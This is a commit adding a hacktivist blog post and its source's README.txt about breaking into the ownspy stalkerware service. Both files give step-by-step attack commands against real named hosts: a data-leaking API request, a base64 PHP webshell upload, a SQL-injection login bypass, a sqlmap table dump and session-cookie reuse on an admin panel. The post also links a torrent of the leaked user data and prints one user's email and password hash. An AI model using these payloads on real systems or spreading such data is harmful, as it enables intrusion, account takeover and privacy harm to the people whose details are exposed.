This commit is contained in:
maia arson crimew 2023-08-25 10:30:42 +02:00
parent f6fb332535
commit 964eed7e37
5 changed files with 416 additions and 0 deletions

View file

@ -0,0 +1,183 @@
---
title: "#FuckStalkerware pt. 3 - ownspy got, well, owned"
date: 2023-08-25
description: "more like ownedspy amiright"
feature_image: /img/posts/fuckstalkerware-3/cover.jpg
feature_alt: "screenshot of the start of a file called README.txt, there is big ascii textart reading 'ownedspy', and text below reads 'ownspy is REALLY REALLY owned!!! #fuckstalkerware #antisec #acab' and 'The #fuckstalkerware games continue. Another one bites the dust.'"
tags:
- "#FuckStalkerware"
- stalkerware
- research
- analysis
- leak
- sqli
- exploit
content_warnings:
- mentions of abuse/controlling behaviour
---
> the intro to this series and the concept of stalkerware can be found [here](/posts/fuckstalkerware-0/)
we continue our series on stalkerware with a write-up and batch of data [sent to me](/contact) by a source last night. this time it is the brazilian [ownspy](https://en.ownspy.com) (aka webdetective and saferspy, by [mobileinnova](http://www.mobileinnova.com)) that has been completely hacked. among other things ownspy claims to be the #1 most privacy focused "parental control app" allegedly featuring E2E encryption, if this sounds too good to be true that's because it mostly is, but more on that later.
![a text box on a landing page reading: The Most Privacy Focused Parental Control App. OwnSpy is the #1 Parental Control App with E2E Encryption. Since its inception OwnSpy started to encrypt everything on the device. Once you register your account a new key is generated and encrypted with your password. This key is stored only on your device so it will be used to encrypt all your data before being uploaded to OwnSpy servers. We do not have and do not want to have access to your data, so we only store this key on your device. In other words: there is no way to access your data without your personal password. As a result, you should never share your password with anyone, not even us. Like us, Apple always believed that your data belongs only to you.](/img/posts/fuckstalkerware-3/privacy-claims.jpg)
(i do also think there is something especially distasteful about reading "your data only belongs to you" on the website for a hidden spyware)
## the technical stuff
the [write-up](/files/posts/fuckstalkerware-3/README.txt) (which most of this section is a paraphrased, and hopefully somewhat simplified, retelling of) starts off with signing up for a free trial and reverse engineering the mobile app. which lead them to fairly quickly find an endpoint called with merely the generated device id which returns the user accounts email address and password hash (unsalted md5):
```bash
curl 'https://6287970dd9.era3000.com/server/?cmd=isreg&id=d41d8cd98f00b204e9800998ecf8427e'
```
```json
{
"registered": 1,
"email": "martinsalan578@gmail.com",
"account_type": "3",
"tracking": 0,
"trackingrate": 120,
"checkrate": 120,
"userpass": "30d8696be94bed700c6e85f219f7db5b",
[...]
```
### enumeration?
this obviously invites simple enumerations over all device ids, a quick look at the android app source code (decompiled using [jadx](https://github.com/skylot/jadx)) however shows that the ID is generated by creating an md5 hash of one of the following sources,
```java
String str2 = Build.SERIAL;
String macAddress = ((WifiManager) getApplicationContext().getSystemService("wifi")).getConnectionInfo().getMacAddress();
String string = Settings.Secure.getString(getApplicationContext().getContentResolver(), "android_id");
String str3 = ((TelephonyManager) systemService).getDeviceId();
```
which is way too much entropy for simple enumeration, all of these parameters are way too complex to enumerate on their own.
### webshell?
the hunt continues. once again, as so often with the badly coded php backends to stalkerware apps, the photo upload endpoint allows for arbitrary uploads, so will a webshell work (see the [previous entry in this series](/posts/fuckstalkerware-2/) for more on webshells)?
```bash
curl 'https://6287970dd9.era3000.com/server/?cmd=newjson&id=d41d8cd98f00b204e9800998ecf8427e&v=798e70a44d93b2fe85e1aa8a3049bfb0' --data '@payload.json'
```
```json
// payload.json:
{
"type": "photo",
"content": [{"data": "PD9waHAgcGhwaW5mbygpOwo=", "name": "photo.php", "encrypted": 0}]
}
```
while the upload succeeded, this didn't work out either, as photos are served to the dashboard via a php script rather than directly from their path, and unless they could've guessed the path to which images are uploaded to there wasn't any way to get a webshell to execute either.
### sql injection?
after none of the above attempts had worked and nothing else stuck to the data apis or the user dashboard my source proceeded to take a look at further ownspy infrastructure. which is how they stumbled onto an interesting seeming subdomain with an expired and invalid certificate, `webdetective.era3000.com` - some sort of admin panel.
a basic attempt at [sql injection](https://en.wikipedia.org/wiki/SQL_injection) (sqli) by submitting a single quote in the login form yielded the following:
```bash
curl -k "https://webdetetive.era3000.com/login.php" --data "email=te'st@gmail.com&password=test"
```
```html
[...]
<br />
<b>Fatal error</b>: Uncaught TypeError: Argument 1 passed to mysql_fetch_assoc() must be an instance of mysqli_result, boolean given, called in /home/ownspy/admin_saferespiao/login.php on line 7 and defined in /home/ownspy/mysql.php:122
Stack trace:
#0 /home/ownspy/admin_saferespiao/login.php(7): mysql_fetch_assoc(false)
#1 {main}
thrown in <b>/home/ownspy/mysql.php</b> on line <b>122</b><br />
[...]
```
oh hell yea, successful sqli! upon then trying to exploit the sqli to forcibly log in to the admin panel it just errors out again, making it clear this forgotten about web app was not just vulnerable but also broken. well, at least it was still possible to get some data with [sqlmap](https://sqlmap.org/)
```bash
sqlmap --data 'email=test@gmail.com&password=tesst' -u 'https://webdetetive.era3000.com/login.php' --risk 3 --dbms mysql --tables --exclude-sysdbs
```
```md
Database: mobileinnova
[5 tables]
+--------------------+
| log |
| addfunds_options |
| affiliates |
| log_saferespiao |
| log_saferspy |
+--------------------+
Database: ownspy_saferespiao
[75 tables]
+--------------------+
| Postcodes |
| export |
| log |
| abperson |
| abvalue |
| account_notes |
| affiliates |
| analysis |
| apps |
[...]
| tmpcar |
| tmptable |
| twitter |
| twitter_chats |
| twitter_profiles |
| users |
| video |
| webhistory |
| whatsapp |
| whatsapplite |
| whatsapplite2 |
| wordlist |
| words |
| wordsdetected |
| wx_contacts |
| wx_msgs |
| youtube |
+--------------------+
```
this is good enough to grab tablenames, but (while technically possible) dumping the entire database via boolean sqli is super slow and will take forever. there had to still be a better way.
the first manual injection attempt our source did, it might not have resulted in access to the admin panel, but it did create a session cookie `OWNSESS=h3car4ccebhb71glq2f7bhu91g`, they decided to go ahead and try if it is valid anywhere else. on the user facing control panel (`paineldecontrole.webdetetive.com.br`) it results in a page saying the subscription is expired and redirects to the main page. so their session is valid but not very useful here!
looking more at the invalid and expired SSL cert for `webdetetive.era3000.com` reveals that it IS valid for another domain, `admin.webdetetive.com.br`, which has an identical admin panel. the sqli however doesn;t work here, making it appear that this is not the exact same panel. however the login is bypassed using the `OWNSESS` cookie from earlier!
### grabbing the data!
it is now fairly simple to list all customers and grab their device ids
```bash
grep -h '<td style="font-size: 12px"' ownedspy.html | head -n5
```
```html
<td style="font-size: 12px">09E19F61F4A08DFDAE6FA7D2072C02DF</td>
<td style="font-size: 12px">3B8FF69FC51EB1D21315D532942C1B26</td>
<td style="font-size: 12px">E5BD7C87E0A50BBCECF90D83817BD6EA</td>
<td style="font-size: 12px">41832A25F3F1AC3F6E5C9A6E08B44733</td>
<td style="font-size: 12px">1F89710FD9678F30225B96D371CC4AB5</td>
```
feeding those back into the `isreg` url from the very start then let them get the user data for all users (most notably email addresses + MD5 passwords).
the write-up then claims that "the admin panel also lets us impersonate any user in the user dashboard at paineldecontrole.webdetetive.com.br and spy on their device," none of that data has been made available to me in the release and they go on to make it clear all devices were deleted from user accounts, "Because we could. Because #fuckstalkerware."
the release message then ends here in "Greetz to LeopardBoy and the Decepticons."
## the release
other than the write-up the package i was sent contained a text file with all device ids, a text file with users listed in `<email>:<hashed password>` format (hi and welcome to my blog post troy hunt), as well as the raw admin portal and isreg scraping results, containing additional user data, some info on target device (phone type, os version, ownspy version), all user sign in IPs and dates and payment history. i have decided to republish this data as is, i have no interest in protecting stalkers and given victim data has been deleted there is little risk of direct additional compromises.
**ownedspy.zip (ZIP, 151405 files, 368MB), available as a [torrent](/files/posts/fuckstalkerware-3/ownedspy.zip.torrent) ([magnet](magnet:?xt=urn:btih:cf0cc9cd6dae802d2bf415ccb4cc9b29c32a04f0&dn=ownedspy.zip))**
## basic analysis
we don't have a lot of data to work with here, so this won't be super in depth, but what we do know is that ownspy has almost 75K users and over 76K registered devices (this makes sense since sign up for ownspy works via the mobile app on the target device). looking through the list of email addresses for potentially interesting users as always, reveals over 100 government email addresses, all of them from the brazilian government, and as far as i can tell all of the im education (teacher, education department and student addresses).

View file

@ -0,0 +1,233 @@
__
____ _ ______ ___ ____/ /________ __ __
/ __ \ | /| / / __ \/ _ \/ __ / ___/ __ \/ / / /
/ /_/ / |/ |/ / / / / __/ /_/ (__ ) /_/ / /_/ /
\____/|__/|__/_/ /_/\___/\__,_/____/ .___/\__, /
/_/ /____
ownspy is REALLY REALLY owned!!!
#fuckstalkerware #antisec #acab
The #fuckstalkerware games continue.
Another one bites the dust.
This time the Brazilian ownspy aka mobileinnova aka webdetetive aka saferspy.
We start off by signing up for a free trial and reverse engineering the APK
and noticed that during the registration proces our own email address and
password hash (unsalted md5) would be echoed back to us, given only the
generated device ID.
# curl 'https://6287970dd9.era3000.com/server/?cmd=isreg&id=d41d8cd98f00b204e9800998ecf8427e'
{
"registered": 1,
"email": "martinsalan578@gmail.com",
"account_type": "3",
"tracking": 0,
"trackingrate": 120,
"checkrate": 120,
"userpass": "30d8696be94bed700c6e85f219f7db5b",
...
Are the device IDs in any way predictable that would allow us to enumerate this
data for all of ownspy's users?
jadx tells us that depending on the Android SDK version and permissions, ownspy
will use one of these sources as the device ID (after md5summing it):
String str2 = Build.SERIAL;
String macAddress = ((WifiManager) getApplicationContext().getSystemService("wifi")).getConnectionInfo().getMacAddress();
String string = Settings.Secure.getString(getApplicationContext().getContentResolver(), "android_id");
String str3 = ((TelephonyManager) systemService).getDeviceId();
Too much entropy. None of these are very easily enumerable. Could there be a
better way? The upload photo function lets us upload any file to ownspy's
servers, how about a webshell?
# curl 'https://6287970dd9.era3000.com/server/?cmd=newjson&id=d41d8cd98f00b204e9800998ecf8427e&v=798e70a44d93b2fe85e1aa8a3049bfb0' \
--data '@payload.json'
{
"type": "photo",
"content": [{"data": "PD9waHAgcGhwaW5mbygpOwo=", "name": "photo.php", "encrypted": 0}]
}
No luck here either. The images in the user dashboard are served through a PHP
script, not directly off the web root.
Unless we can somehow guess the path where the images are uploaded, we can't
execute our webshell.
Well, how about SQL injection?
After hitting our heads against the user dashboard and the data submission API,
and not finding anything, we decided to take a closer look at ownspy's
infrastructure and noticed a curious subdomain: webdetetive.era3000.com
serving some sort of admin panel for webdetetive.
Invalid, expired SSL certificate. Let's try putting a single-quote in the login
field and see what happens:
# curl -k https://webdetetive.era3000.com/login.php \
--data "email=te'st@gmail.com&password=test"
<br />
<b>Fatal error</b>: Uncaught TypeError: Argument 1 passed to mysql_fetch_assoc() must be an instance of mysqli_result, boolean given, called in /home/ownspy/admin_saferespiao/login.php on line 7 and defined in /home/ownspy/mysql.php:122
Stack trace:
#0 /home/ownspy/admin_saferespiao/login.php(7): mysql_fetch_assoc(false)
#1 {main}
thrown in <b>/home/ownspy/mysql.php</b> on line <b>122</b><br />
Aha! We've got SQL injection. Let's just let ourselves into the admin panel:
# curl -kL -H 'Cookie: OWNSESS=h3car4ccebhb71glq2f7bhu91g' \
https://webdetetive.era3000.com/login.php \
--data-raw "email=test@gmail.com' OR id=1 -- - &password=test"
<br />
<b>Fatal error</b>: Uncaught TypeError: Argument 1 passed to mysql_fetch_assoc() must be an instance of mysqli_result, boolean given, called in /home/ownspy/admin_saferespiao/panel.php on line 15 and defined in /home/ownspy/mysql.php:122
Stack trace:
#0 /home/ownspy/admin_saferespiao/panel.php(15): mysql_fetch_assoc(false)
#1 {main}
thrown in <b>/home/ownspy/mysql.php</b> on line <b>122</b><br />
Too bad! The admin panel on the forgotten domain with the expired SSL
certificate is broken. Still, we can get some data out with sqlmap:
# sqlmap --data 'email=test@gmail.com&password=tesst' \
-u 'https://webdetetive.era3000.com/login.php' \
--risk 3 --dbms mysql --tables --exclude-sysdbs
Database: mobileinnova
[5 tables]
+--------------------+
| log |
| addfunds_options |
| affiliates |
| log_saferespiao |
| log_saferspy |
+--------------------+
Database: ownspy_saferespiao
[75 tables]
+--------------------+
| Postcodes |
| export |
| log |
| abperson |
| abvalue |
| account_notes |
| affiliates |
| analysis |
| apps |
| appsicons |
| appsinstalled |
| audio |
| audiomail |
| betachannel |
| callhistory |
| callrecording |
| commands_history |
| commands_list |
| customblacklist |
| customplaces |
| devices |
| downloads |
| dsns |
| facebooklite |
| geofences |
| geofences_events |
| giftcodes |
| images |
| instagram |
| instagram_profiles |
| invoices |
| keylog |
| kik |
| languages |
| lastlocation |
| location |
| mail_list |
| mailing |
| newdevices |
| notif |
| old_devices |
| oldplaces |
| paytweet |
| pending_commands |
| pending_devices |
| places |
| preregister |
| preusers |
| pricechart |
| push_service |
| qq_contacts |
| qq_msgs |
| register_code |
| routes |
| sentmail_list |
| sms_commands |
| sms_list |
| timeline |
| tmpcar |
| tmptable |
| twitter |
| twitter_chats |
| twitter_profiles |
| users |
| video |
| webhistory |
| whatsapp |
| whatsapplite |
| whatsapplite2 |
| wordlist |
| words |
| wordsdetected |
| wx_contacts |
| wx_msgs |
| youtube |
+--------------------+
Boolean SQL injection is so slow, though!
We will be waiting forever to get all the device IDs this way.
Could there be a better way?
That session cookie we got, OWNSESS=h3car4ccebhb71glq2f7bhu91g?
Could it be that with our first manual injection attempt, even though the admin
panel was broken, we've managed to create a valid admin session that we can use
elsewhere?
Trying it on paineldecontrole.webdetetive.com.br tells us that our subscription
is expired and redirects us to the main page. Looks like the session is indeed
valid, but we need to find a better place to use it.
Why was the SSL certificate for webdetetive.era3000.com invalid? It's expired.
It's valid for another domain, admin.webdetetive.com.br, which at first glance
appears to be serving an identical admin panel. But our SQL injection does not
work here. We couldn't bypass the login the same way.
Is it actually a different version of the admin panel?
Let's set the OWNSESS cookie to the same value we used on
webdetetive.era3000.com and go to https://admin.webdetetive.com.br/panel.php.
It works! We're in. And we can list all of ownspy's customers and get their
device IDs:
# grep -h '<td style="font-size: 12px"' ownedspy.html | head -n5
<td style="font-size: 12px">09E19F61F4A08DFDAE6FA7D2072C02DF</td>
<td style="font-size: 12px">3B8FF69FC51EB1D21315D532942C1B26</td>
<td style="font-size: 12px">E5BD7C87E0A50BBCECF90D83817BD6EA</td>
<td style="font-size: 12px">41832A25F3F1AC3F6E5C9A6E08B44733</td>
<td style="font-size: 12px">1F89710FD9678F30225B96D371CC4AB5</td>
We can feed these back into 6287970dd9.era3000.com/server/?cmd=isreg and get
every user's email address ad unsalted md5 hash.
In case we were unsatisfied, the admin panel also lets us impersonate any user
in the user dashboard at paineldecontrole.webdetetive.com.br and spy on their
device.
We can also delete devices from every user's account so they stop submitting
new data. Which we definitely did. Because we could. Because #fuckstalkerware.
Greetz to LeopardBoy and the Decepticons.

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 112 KiB